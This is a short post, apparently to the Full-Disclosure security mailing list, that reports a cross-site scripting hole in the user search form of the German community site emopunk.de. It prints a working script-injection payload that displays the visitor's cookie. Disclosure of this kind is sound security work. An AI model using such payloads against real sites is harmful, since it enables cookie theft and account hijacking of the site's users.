[Full-disclosure] XSS Vector at www.emopunk.de

[batchwork@xxxxxxxx]

Emopunk.de is a large german community for emo punks  and hardcore kids.

If you enter the following code instead of a username in the user search form,
you've successfully executed a custom script on the page:

-
"><script type=text/javascript>alert(document.cookie);</script>
-

Greetings,
Bacthwork

--
freemail adverts:

Viel oder wenig? Schnell oder langsam? Unbegrenzt surfen + telefonieren
ohne Zeit- und Volumenbegrenzung? DAS TOP ANGEBOT JETZT bei Arcor: günstig
und schnell mit DSL - das All-Inclusive-Paket für clevere Doppel-Sparer,
nur  44,85 ?  inkl. DSL- und ISDN-Grundgebühr!
http://www.arcor.de/rd/emf-dsl-2

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/